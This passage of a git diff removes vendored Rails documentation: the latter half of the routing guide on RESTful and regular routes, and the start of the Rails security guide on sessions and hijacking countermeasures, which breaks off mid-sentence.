-map.login '/login', :controller => 'sessions', :action => 'new' - - -h4. Nested Routes - -Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration: - - -map.resources :assemblies do |assemblies| - assemblies.resources :parts -end - - -h4. Regular Routes - -In many applications, you'll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example, - - -map.connect 'parts/:number', :controller => 'inventory', :action => 'show' - - -h4. Default Routes - -The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes: - - -map.connect ':controller/:action/:id' -map.connect ':controller/:action/:id.:format' - - -These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them! - -h3. RESTful Routing: the Rails Default - -RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing. - -h4. What is REST? - -The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes: - -* Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources -* Transferring representations of the state of that resource between system components. - -For example, to a Rails application a request such as this: - -
    -DELETE /photos/17
    -
    - -would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities. - -h4. CRUD, Verbs, and Actions - -In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as - - -map.resources :photos - - -creates seven different routes in your application: - -|_.HTTP verb|_.URL |_.controller|_.action |_.used for| -|GET |/photos |Photos |index |display a list of all photos| -|GET |/photos/new |Photos |new |return an HTML form for creating a new photo| -|POST |/photos |Photos |create |create a new photo| -|GET |/photos/1 |Photos |show |display a specific photo| -|GET |/photos/1/edit |Photos |edit |return an HTML form for editing a photo| -|PUT |/photos/1 |Photos |update |update a specific photo| -|DELETE |/photos/1 |Photos |destroy |delete a specific photo| - -For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as +params[:id]+. - -TIP: If you consistently use RESTful routes in your application, you should disable the default routes in +routes.rb+ so that Rails will enforce the mapping between HTTP verbs and routes. - -h4. URLs and Paths - -Creating a RESTful route will also make available a pile of helpers within your application: - -* +photos_url+ and +photos_path+ map to the path for the index and create actions -* +new_photo_url+ and +new_photo_path+ map to the path for the new action -* +edit_photo_url+ and +edit_photo_path+ map to the path for the edit action -* +photo_url+ and +photo_path+ map to the path for the show, update, and destroy actions - -NOTE: Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers. - -In each case, the +_url+ helper generates a string containing the entire URL that the application will understand, while the +_path+ helper generates a string containing the relative path from the root of the application. For example: - - -photos_url # => "http://www.example.com/photos" -photos_path # => "/photos" - - -h4. Defining Multiple Resources at the Same Time - -If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to +map.resources+: - - -map.resources :photos, :books, :videos - - -This has exactly the same effect as - - -map.resources :photos -map.resources :books -map.resources :videos - - -h4. Singular Resources - -You can also apply RESTful routing to singleton resources within your application. In this case, you use +map.resource+ instead of +map.resources+ and the route generation is slightly different. For example, a routing entry of - - -map.resource :geocoder - - -creates six different routes in your application: - -|_.HTTP verb|_.URL |_.controller|_.action |_.used for| -|GET |/geocoder/new |Geocoders |new |return an HTML form for creating the new geocoder| -|POST |/geocoder |Geocoders |create |create the new geocoder| -|GET |/geocoder |Geocoders |show |display the one and only geocoder resource| -|GET |/geocoder/edit |Geocoders |edit |return an HTML form for editing the geocoder| -|PUT |/geocoder |Geocoders |update |update the one and only geocoder resource| -|DELETE |/geocoder |Geocoders |destroy |delete the geocoder resource| - -NOTE: Even though the name of the resource is singular in +routes.rb+, the matching controller is still plural. - -A singular RESTful route generates an abbreviated set of helpers: - -* +new_geocoder_url+ and +new_geocoder_path+ map to the path for the new action -* +edit_geocoder_url+ and +edit_geocoder_path+ map to the path for the edit action -* +geocoder_url+ and +geocoder_path+ map to the path for the create, show, update, and destroy actions - -h4. Customizing Resources - -Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include: - -* +:controller+ -* +:singular+ -* +:requirements+ -* +:conditions+ -* +:as+ -* +:path_names+ -* +:path_prefix+ -* +:name_prefix+ -* +:only+ -* +:except+ - -You can also add additional routes via the +:member+ and +:collection+ options, which are discussed later in this guide. - -h5. Using +:controller+ - -The +:controller+ option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry: - - -map.resources :photos, :controller => "images" - - -will recognize incoming URLs containing +photo+ but route the requests to the Images controller: - -|_.HTTP verb|_.URL |_.controller|_.action |_.used for| -|GET |/photos |Images |index |display a list of all images| -|GET |/photos/new |Images |new |return an HTML form for creating a new image| -|POST |/photos |Images |create |create a new image| -|GET |/photos/1 |Images |show |display a specific image| -|GET |/photos/1/edit |Images |edit |return an HTML form for editing a image| -|PUT |/photos/1 |Images |update |update a specific image| -|DELETE |/photos/1 |Images |destroy |delete a specific image| - -NOTE: The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on. - -h4. Controller Namespaces and Routing - -Rails allows you to group your controllers into namespaces by saving them in folders underneath +app/controllers+. The +:controller+ option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the +admin+ folder: - - -map.resources :adminphotos, :controller => "admin/photos" - - -If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the +adminphoto_path+ helper, and you follow a link generated with +<%= link_to "show", adminphoto(1) %>+ you will end up on the view generated by +admin/photos/show+, but you will also end up in the same place if you have +<%= link_to "show", {:controller => "photos", :action => "show"} %>+ because Rails will generate the show URL relative to the current URL. - -TIP: If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: +<%= link_to "show", {:controller => "/photos", :action => "show"} %>+ - -You can also specify a controller namespace with the +:namespace+ option instead of a path: - - -map.resources :adminphotos, :namespace => "admin", :controller => "photos" - - -This can be especially useful when combined with +with_options+ to map multiple namespaced routes together: - - -map.with_options(:namespace => "admin") do |admin| - admin.resources :photos, :videos -end - - -That would give you routing for +admin/photos+ and +admin/videos+ controllers. - -h5. Using +:singular+ - -If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the +:singular+ option: - - -map.resources :teeth, :singular => "tooth" - - -TIP: Depending on the other code in your application, you may prefer to add additional rules to the +Inflector+ class instead. - -h5. Using +:requirements+ - -You can use the +:requirements+ option in a RESTful route to impose a format on the implied +:id+ parameter in the singular routes. For example: - - -map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/} - - -This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, +/photos/1+ would no longer be recognized by this route, but +/photos/RR27+ would. - -h5. Using +:conditions+ - -Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.) - -h5. Using +:as+ - -The +:as+ option lets you override the normal naming for the actual generated paths. For example: - - -map.resources :photos, :as => "images" - - -will recognize incoming URLs containing +image+ but route the requests to the Photos controller: - -|_.HTTP verb|_.URL |_.controller|_.action |_:used for| -|GET |/images |Photos |index |display a list of all photos| -|GET |/images/new |Photos |new |return an HTML form for creating a new photo| -|POST |/images |Photos |create |create a new photo| -|GET |/images/1 |Photos |show |display a specific photo| -|GET |/images/1/edit |Photos |edit |return an HTML form for editing a photo| -|PUT |/images/1 |Photos |update |update a specific photo| -|DELETE |/images/1 |Photos |destroy |delete a specific photo| - -NOTE: The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on. - -h5. Using +:path_names+ - -The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in URLs: - - -map.resources :photos, :path_names => { :new => 'make', :edit => 'change' } - - -This would cause the routing to recognize URLs such as - -
    -/photos/make
    -/photos/1/change
    -
    - -NOTE: The actual action names aren't changed by this option; the two URLs shown would still route to the new and edit actions. - -TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment: - - -config.action_controller.resources_path_names = { :new => 'make', :edit => 'change' } - - -h5. Using +:path_prefix+ - -The +:path_prefix+ option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route: - - -map.resources :photos, :path_prefix => '/photographers/:photographer_id' - - -Routes recognized by this entry would include: - -
    -/photographers/1/photos/2
    -/photographers/1/photos
    -
    - -NOTE: In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section. - -NOTE: You can also use +:path_prefix+ with non-RESTful routes. - -h5. Using +:name_prefix+ - -You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use +:path_prefix+ to map differently. For example: - - -map.resources :photos, :path_prefix => '/photographers/:photographer_id', - :name_prefix => 'photographer_' -map.resources :photos, :path_prefix => '/agencies/:agency_id', - :name_prefix => 'agency_' - - -This combination will give you route helpers such as +photographer_photos_path+ and +agency_edit_photo_path+ to use in your code. - -NOTE: You can also use +:name_prefix+ with non-RESTful routes. - -h5. Using +:only+ and +:except+ - -By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option specifies that only certain routes should be generated: - - -map.resources :photos, :only => [:index, :show] - - -With this declaration, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the create action) will fail. - -The +:except+ option specifies a route or list of routes that should _not_ be generated: - - -map.resources :photos, :except => :destroy - - -In this case, all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/id+) will be generated. - -In addition to an action or a list of actions, you can also supply the special symbols +:all+ or +:none+ to the +:only+ and +:except+ options. - -TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process. - -h4. Nested Resources - -It's common to have resources that are logically children of other resources. For example, suppose your application includes these models: - - -class Magazine < ActiveRecord::Base - has_many :ads -end - -class Ad < ActiveRecord::Base - belongs_to :magazine -end - - -Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration: - - -map.resources :magazines do |magazine| - magazine.resources :ads -end - - -TIP: Further below you'll learn about a convenient shortcut for this construct:
    +map.resources :magazines, :has_many => :ads+. - -In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL: - -|_.HTTP verb|_.URL |_.controller|_.action |_.used for| -|GET |/magazines/1/ads |Ads |index |display a list of all ads for a specific magazine| -|GET |/magazines/1/ads/new |Ads |new |return an HTML form for creating a new ad belonging to a specific magazine| -|POST |/magazines/1/ads |Ads |create |create a new ad belonging to a specific magazine| -|GET |/magazines/1/ads/1 |Ads |show |display a specific ad belonging to a specific magazine| -|GET |/magazines/1/ads/1/edit |Ads |edit |return an HTML form for editing an ad belonging to a specific magazine| -|PUT |/magazines/1/ads/1 |Ads |update |update a specific ad belonging to a specific magazine| -|DELETE |/magazines/1/ads/1 |Ads |destroy |delete a specific ad belonging to a specific magazine| - - -This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. - -h5. Using +:name_prefix+ - -The +:name_prefix+ option overrides the automatically-generated prefix in nested route helpers. For example, - - -map.resources :magazines do |magazine| - magazine.resources :ads, :name_prefix => 'periodical' -end - - -This will create routing helpers such as +periodical_ads_url+ and +periodical_edit_ad_path+. You can even use +:name_prefix+ to suppress the prefix entirely: - - -map.resources :magazines do |magazine| - magazine.resources :ads, :name_prefix => nil -end - - -This will create routing helpers such as +ads_url+ and +edit_ad_path+. Note that calling these will still require supplying an article id: - - -ads_url(@magazine) -edit_ad_path(@magazine, @ad) - - -h5. Using +:has_one+ and +:has_many+ - -The +:has_one+ and +:has_many+ options provide a succinct notation for simple nested routes. Use +:has_one+ to nest a singleton resource, or +:has_many+ to nest a plural resource: - - -map.resources :photos, :has_one => :photographer, :has_many => [:publications, :versions] - - -This has the same effect as this set of declarations: - - -map.resources :photos do |photo| - photo.resource :photographer - photo.resources :publications - photo.resources :versions -end - - -h5. Limits to Nesting - -You can nest resources within other nested resources if you like. For example: - - -map.resources :publishers do |publisher| - publisher.resources :magazines do |magazine| - magazine.resources :photos - end -end - - -However, without the use of +name_prefix => nil+, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as - -
    -/publishers/1/magazines/2/photos/3
    -
    - -The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design: - -TIP: _Resources should never be nested more than 1 level deep._ - -h5. Shallow Nesting - -The +:shallow+ option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an +:id+ parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes: - - -map.resources :publishers, :shallow => true do |publisher| - publisher.resources :magazines do |magazine| - magazine.resources :photos - end -end - - -This will enable recognition of (among others) these routes: - -
    -/publishers/1           ==> publisher_path(1)
    -/publishers/1/magazines ==> publisher_magazines_path(1)
    -/magazines/2            ==> magazine_path(2)
    -/magazines/2/photos     ==> magazines_photos_path(2)
    -/photos/3               ==> photo_path(3)
    -
    - -With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the +:has_one+ and +:has_many+ options: - - -map.resources :publishers, :has_many => { :magazines => :photos }, :shallow => true - - -h4. Route Generation from Arrays - -In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb: - - -map.resources :magazines do |magazine| - magazine.resources :ads -end - - -Rails will generate helpers such as magazine_ad_path that you can use in building links: - - -<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %> - - -Another way to refer to the same route is with an array of objects: - - -<%= link_to "Ad details", [@magazine, @ad] %> - - -This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link. - -h4. Namespaced Resources - -It's possible to do some quite complex things by combining +:path_prefix+ and +:name_prefix+. For example, you can use the combination of these two options to move administrative resources to their own folder in your application: - - -map.resources :photos, :path_prefix => 'admin', :controller => 'admin/photos' -map.resources :tags, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_tags' -map.resources :ratings, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_ratings' - - -The good news is that if you find yourself using this level of complexity, you can stop. Rails supports _namespaced resources_ to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes: - - -map.namespace(:admin) do |admin| - admin.resources :photos, - :has_many => { :tags, :ratings} -end - - -As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get +admin_photos_url+ that expects to find an +Admin::PhotosController+ and that matches +admin/photos+, and +admin_photos_ratings_path+ that matches +/admin/photos/_photo_id_/ratings+, expecting to use +Admin::RatingsController+. Even though you're not specifying +path_prefix+ explicitly, the routing code will calculate the appropriate +path_prefix+ from the route nesting. - -h4. Adding More RESTful Actions - -You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole). - -h5. Adding Member Routes - -To add a member route, use the +:member+ option: - - -map.resources :photos, :member => { :preview => :get } - - -This will enable Rails to recognize URLs such as +/photos/1/preview+ using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a +preview_photo+ route helper. - -Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use +:get+, +:put+, +:post+, +:delete+, or +:any+ here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything: - - -map.resources :photos, :member => { :prepare => [:get, :post] } - - -h5. Adding Collection Routes - -To add a collection route, use the +:collection+ option: - - -map.resources :photos, :collection => { :search => :get } - - -This will enable Rails to recognize URLs such as +/photos/search+ using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a +search_photos+ route helper. - -Just as with member routes, you can specify an array of methods for a collection route: - - -map.resources :photos, :collection => { :search => [:get, :post] } - - -h5. Adding New Routes - -To add a new route (one that creates a new resource), use the +:new+ option: - - -map.resources :photos, :new => { :upload => :post } - - -This will enable Rails to recognize URLs such as +/photos/upload+ using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a +upload_photos+ route helper. - -TIP: If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:
    +map.resources :photos, :new => { :new => :any }+
    This will allow the new action to be invoked by any request to +photos/new+, no matter what HTTP verb you use. - -h5. A Note of Caution - -If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the +:member+ and +:collection+ hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points. - -h3. Regular Routes - -In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately. - -While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing _when possible_, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit. - -h4. Bound Parameters - -When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes: - - -map.connect ':controller/:action/:id' - - -If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +Photos+ controller, and to make the final parameter (1) available as +params[:id]+. - -h4. Wildcard Components - -You can set up as many wildcard symbols within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the matching action as part of the params hash. So, if you set up this route: - - -map.connect ':controller/:action/:id/:user_id' - - -An incoming URL of +/photos/show/1/2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be set to 2. - -h4. Static Text - -You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests: - - -map.connect ':controller/:action/:id/with_user/:user_id' - - -This route would respond to URLs such as +/photos/show/1/with_user/2+. - -h4. Querystring Parameters - -Rails routing automatically picks up querystring parameters and makes them available in the +params+ hash. For example, with this route: - - -map.connect ':controller/:action/:id' - - -An incoming URL of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be equal to 2. - -h4. Defining Defaults - -You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply defaults for these two parameters in a hash: - - -map.connect 'photos/:id', :controller => 'photos', :action => 'show' - - -With this route, an incoming URL of +/photos/12+ would be dispatched to the +show+ action within the +Photos+ controller. - -You can also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example: - - -map.connect 'photos/:id', :controller => 'photos', :action => 'show', - :defaults => { :format => 'jpg' } - - -With this route, an incoming URL of +photos/12+ would be dispatched to the +show+ action within the +Photos+ controller, and +params[:format]+ will be set to +jpg+. - -h4. Named Routes - -Regular routes need not use the +connect+ method. You can use any other name here to create a _named route_. For example, - - -map.logout '/logout', :controller => 'sessions', :action => 'destroy' - - -This will do two things. First, requests to +/logout+ will be sent to the +destroy+ method of the +Sessions+ controller. Second, Rails will maintain the +logout_path+ and +logout_url+ helpers for use within your code. - -h4. Route Requirements - -You can use the +:requirements+ option to enforce a format for any parameter in a route: - - -map.connect 'photo/:id', :controller => 'photos', :action => 'show', - :requirements => { :id => /[A-Z]\d{5}/ } - - -This route would respond to URLs such as +/photo/A12345+. You can more succinctly express the same route this way: - - -map.connect 'photo/:id', :controller => 'photos', :action => 'show', - :id => /[A-Z]\d{5}/ - - -h4. Route Conditions - -Route conditions (introduced with the +:conditions+ option) are designed to implement restrictions on routes. Currently, the only supported restriction is +:method+: - - -map.connect 'photo/:id', :controller => 'photos', :action => 'show', - :conditions => { :method => :get } - - -As with conditions in RESTful routes, you can specify +:get+, +:post+, +:put+, +:delete+, or +:any+ for the acceptable method. - -h4. Route Globbing - -Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example - - -map.connect 'photo/*other', :controller => 'photos', :action => 'unknown', - - -This route would match +photo/12+ or +/photo/long/path/to/12+ equally well, creating an array of path segments as the value of +params[:other]+. - -h4. Route Options - -You can use +:with_options+ to simplify defining groups of similar routes: - - -map.with_options :controller => 'photo' do |photo| - photo.list '', :action => 'index' - photo.delete ':id/delete', :action => 'delete' - photo.edit ':id/edit', :action => 'edit' -end - - -The importance of +map.with_options+ has declined with the introduction of RESTful routes. - -h3. Formats and +respond_to+ - -There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special +:format+ parameter in the route. - -For instance, consider the second of the default routes in the boilerplate +routes.rb+ file: - - -map.connect ':controller/:action/:id.:format' - - -This route matches requests such as +/photo/edit/1.xml+ or +/photo/show/2.rss+. Within the appropriate action code, you can issue different responses depending on the requested format: - - -respond_to do |format| - format.html # return the default template for HTML - format.xml { render :xml => @photo.to_xml } -end - - -h4. Specifying the Format with an HTTP Header - -If there is no +:format+ parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format. - -h4. Recognized MIME types - -By default, Rails recognizes +html+, +text+, +json+, +csv+, +xml+, +rss+, +atom+, and +yaml+ as acceptable response types. If you need types beyond this, you can register them in your environment: - - -Mime::Type.register "image/jpg", :jpg - - -h3. The Default Routes - -When you create a new Rails application, +routes.rb+ is initialized with two default routes: - - -map.connect ':controller/:action/:id' -map.connect ':controller/:action/:id.:format' - - -These routes provide reasonable defaults for many URLs, if you're not using RESTful routing. - -NOTE: The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them. - -h3. The Empty Route - -Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to +http://example.com+ or +http://example.com/+ will be handled by the empty route. - -h4. Using +map.root+ - -The preferred way to set up the empty route is with the +map.root+ command: - - -map.root :controller => "pages", :action => "main" - - -The use of the +root+ method tells Rails that this route applies to requests for the root of the site. - -For better readability, you can specify an already-created route in your call to +map.root+: - - -map.index 'index', :controller => "pages", :action => "main" -map.root :index - - -Because of the top-down processing of the file, the named route must be specified _before_ the call to +map.root+. - -h4. Connecting the Empty String - -You can also specify an empty route by explicitly connecting the empty string: - - -map.connect '', :controller => "pages", :action => "main" - - -TIP: If the empty route does not seem to be working in your application, make sure that you have deleted the file +public/index.html+ from your Rails tree. - -h3. Inspecting and Testing Routes - -Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes. - -h4. Seeing Existing Routes with +rake+ - -If you want a complete list of all of the available routes in your application, run the +rake routes+ command. This will dump all of your routes to the console, in the same order that they appear in +routes.rb+. For each route, you'll see: - -* The route name (if any) -* The HTTP verb used (if the route doesn't respond to all verbs) -* The URL pattern -* The routing parameters that will be generated by this URL - -For example, here's a small section of the +rake routes+ output for a RESTful route: - -
    -          users GET  /users          {:controller=>"users", :action=>"index"}
    -formatted_users GET  /users.:format  {:controller=>"users", :action=>"index"}
    -                POST /users          {:controller=>"users", :action=>"create"}
    -                POST /users.:format  {:controller=>"users", :action=>"create"}
    -
    - -TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap. - -h4. Testing Routes - -Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionController/Assertions/RoutingAssertions.html designed to make testing routes simpler: - -* +assert_generates+ -* +assert_recognizes+ -* +assert_routing+ - -h5. The +assert_generates+ Assertion - -Use +assert_generates+ to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes - - -assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" } -assert_generates "/about", :controller => "pages", :action => "about" - - -h5. The +assert_recognizes+ Assertion - -The +assert_recognizes+ assertion is the inverse of +assert_generates+. It asserts that Rails recognizes the given path and routes it to a particular spot in your application. - - -assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1" - - -You can supply a +:method+ argument to specify the HTTP verb: - - -assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post } - - -You can also use the RESTful helpers to test recognition of a RESTful route: - - -assert_recognizes new_photo_url, { :path => "photos", :method => :post } - - -h5. The +assert_routing+ Assertion - -The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+. - - -assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" } - - -h3. Changelog - -"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3 - -* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy -* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy -* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy diff --git a/vendor/rails/railties/guides/source/security.textile b/vendor/rails/railties/guides/source/security.textile deleted file mode 100644 index 1b64cc1b..00000000 --- a/vendor/rails/railties/guides/source/security.textile +++ /dev/null @@ -1,986 +0,0 @@ -h2. Ruby On Rails Security Guide - -This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please -mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with: - -* All countermeasures _(highlight)that are highlighted_ -* The concept of sessions in Rails, what to put in there and popular attack methods -* How just visiting a site can be a security problem (with CSRF) -* What you have to pay attention to when working with files or providing an administration interface -* The Rails-specific mass assignment problem -* How to manage users: Logging in and out and attack methods on all layers -* And the most popular injection attack methods - -endprologue. - -h3. Introduction - -Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security. - -In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). - -The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person. - -The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. - -In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems. - -h3. Sessions - -A good place to start looking at security is with sessions, which can be vulnerable to particular attacks. - -h4. What are Sessions? - --- _HTTP is a stateless protocol. Sessions make it stateful._ - -Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request. -Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application. - -A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method: - - -session[:user_id] = @current_user.id -User.find(session[:user_id]) - - -h4. Session id - --- _The session id is a 32 byte long MD5 hash value._ - -A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date. - -h4. Session Hijacking - --- _Stealing a user's session id lets an attacker use the web application in the victim's name._ - -Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session. - -Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: - -* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_. - -* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_. - -* Many cross-site scripting (XSS) 